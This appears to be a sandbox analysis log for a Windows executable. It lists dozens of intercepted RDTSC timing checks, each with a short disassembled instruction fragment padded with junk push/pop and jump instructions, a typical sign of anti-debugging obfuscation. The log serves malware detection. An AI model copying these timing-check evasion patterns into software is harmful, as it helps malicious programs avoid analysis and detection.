Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1447889 second address: 144788D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144788D second address: 1447898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1447A18 second address: 1447A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F1760BC2CD2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1447BA5 second address: 1447BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1447BA9 second address: 1447BBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1760BC2CCDh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14483FD second address: 1448403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448403 second address: 1448407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E865 second address: 144E879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F176074C076h 0x0000000a popad 0x0000000b jng 00007F176074C0C4h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E879 second address: 144E8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CD8h 0x00000009 jno 00007F1760BC2CC6h 0x0000000f je 00007F1760BC2CC6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jmp 00007F1760BC2CD8h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140AE93 second address: 13EFEF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F176074C078h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 call dword ptr [ebp+122D1788h] 0x00000027 pushad 0x00000028 jnp 00007F176074C08Ah 0x0000002e jmp 00007F176074C084h 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 jne 00007F176074C076h 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B511 second address: 140B517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B6F5 second address: 140B6FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140B7AE second address: 140B7B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1452D8F second address: 1452D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1453403 second address: 145340A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145340A second address: 145343C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176074C082h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F176074C089h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145358E second address: 1453594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1453594 second address: 1453598 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14536D6 second address: 14536F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jmp 00007F1760BC2CCFh 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f je 00007F1760BC2CCEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14536F7 second address: 1453708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F176074C076h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1453708 second address: 145372A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD0h 0x00000007 jc 00007F1760BC2CC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F1760BC2CCEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145384F second address: 145386C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F176074C089h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14571CE second address: 14571E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CCEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14571E0 second address: 14571E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14571E6 second address: 14571F0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1760BC2CE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14571F0 second address: 1457224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F176074C086h 0x00000009 pushad 0x0000000a jmp 00007F176074C087h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457224 second address: 1457232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457232 second address: 1457237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14597A0 second address: 14597C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1760BC2CD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F1760BC2CCDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145992A second address: 1459930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145EBCC second address: 145EBD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145EBD0 second address: 145EBFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C081h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F176074C083h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145EBFC second address: 145EC10 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1760BC2CC6h 0x00000008 jbe 00007F1760BC2CC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145EC10 second address: 145EC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145EEE4 second address: 145EEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145EEF0 second address: 145EEF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BB56 second address: 140BBD4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F1760BC2CD8h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F1760BC2CD9h 0x00000011 nop 0x00000012 and edx, 0DABC80Eh 0x00000018 mov edi, dword ptr [ebp+122D1F11h] 0x0000001e push 00000004h 0x00000020 mov edx, dword ptr [ebp+122D3918h] 0x00000026 nop 0x00000027 je 00007F1760BC2CDAh 0x0000002d jmp 00007F1760BC2CD4h 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jg 00007F1760BC2CD3h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BBD4 second address: 140BBDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BBDA second address: 140BBDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145FE8E second address: 145FE92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146414A second address: 1464153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14633DE second address: 14633E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14633E2 second address: 14633EC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1760BC2CC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463598 second address: 14635C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C084h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F176074C07Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14635C0 second address: 14635C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14635C4 second address: 14635C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14635C8 second address: 14635EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1760BC2CC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1760BC2CD3h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14635EF second address: 1463608 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463608 second address: 146360E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146374F second address: 1463777 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C089h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F176074C076h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463777 second address: 146377C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463B7C second address: 1463B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F176074C076h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463B8B second address: 1463B97 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jc 00007F1760BC2CC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463B97 second address: 1463BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnl 00007F176074C076h 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466F8C second address: 1466F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466F90 second address: 1466F9A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1466F9A second address: 1466F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14668BD second address: 14668C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14668C6 second address: 14668D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CCFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14668D9 second address: 146690D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C07Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F176074C07Eh 0x00000011 jmp 00007F176074C080h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146F198 second address: 146F19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146F19C second address: 146F1BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C083h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b jg 00007F176074C076h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146F1BF second address: 146F1C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D3D6 second address: 146D3DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D3DB second address: 146D3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D3E1 second address: 146D3EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F176074C076h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D3EE second address: 146D3F4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D855 second address: 146D893 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C085h 0x00000007 jl 00007F176074C078h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F176074C088h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D893 second address: 146D897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DB67 second address: 146DB85 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F176074C076h 0x00000008 jmp 00007F176074C07Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DB85 second address: 146DB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DB89 second address: 146DBA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F176074C085h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146DBA8 second address: 146DBAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146E674 second address: 146E67A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146E67A second address: 146E67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146EBE0 second address: 146EBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146EBE4 second address: 146EBE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146EED1 second address: 146EEDC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146EEDC second address: 146EF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1760BC2CD4h 0x0000000b popad 0x0000000c jmp 00007F1760BC2CCDh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F1760BC2CCBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147078A second address: 147078E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147078E second address: 1470794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147501B second address: 147501F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14742CF second address: 14742D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474458 second address: 1474473 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F176074C076h 0x00000008 jmp 00007F176074C081h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474601 second address: 1474605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474605 second address: 1474623 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F176074C076h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F176074C07Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474623 second address: 147462C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14748F3 second address: 147493D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F176074C076h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F176074C07Ch 0x00000010 push ebx 0x00000011 jmp 00007F176074C088h 0x00000016 jmp 00007F176074C080h 0x0000001b pop ebx 0x0000001c popad 0x0000001d push esi 0x0000001e jc 00007F176074C08Ah 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147493D second address: 1474959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CCEh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d je 00007F1760BC2CC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474BC6 second address: 1474BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474BCC second address: 1474BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1760BC2CD9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474BEC second address: 1474BF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474D22 second address: 1474D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jbe 00007F1760BC2CC6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474D33 second address: 1474D38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474D38 second address: 1474D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1760BC2CD8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474D56 second address: 1474D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F176074C076h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474D63 second address: 1474D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14798D0 second address: 14798D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14798D5 second address: 1479917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F1760BC2CD7h 0x0000000b popad 0x0000000c jmp 00007F1760BC2CD8h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jng 00007F1760BC2CC8h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1479917 second address: 1479931 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F176074C07Ch 0x0000000a pop esi 0x0000000b je 00007F176074C07Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
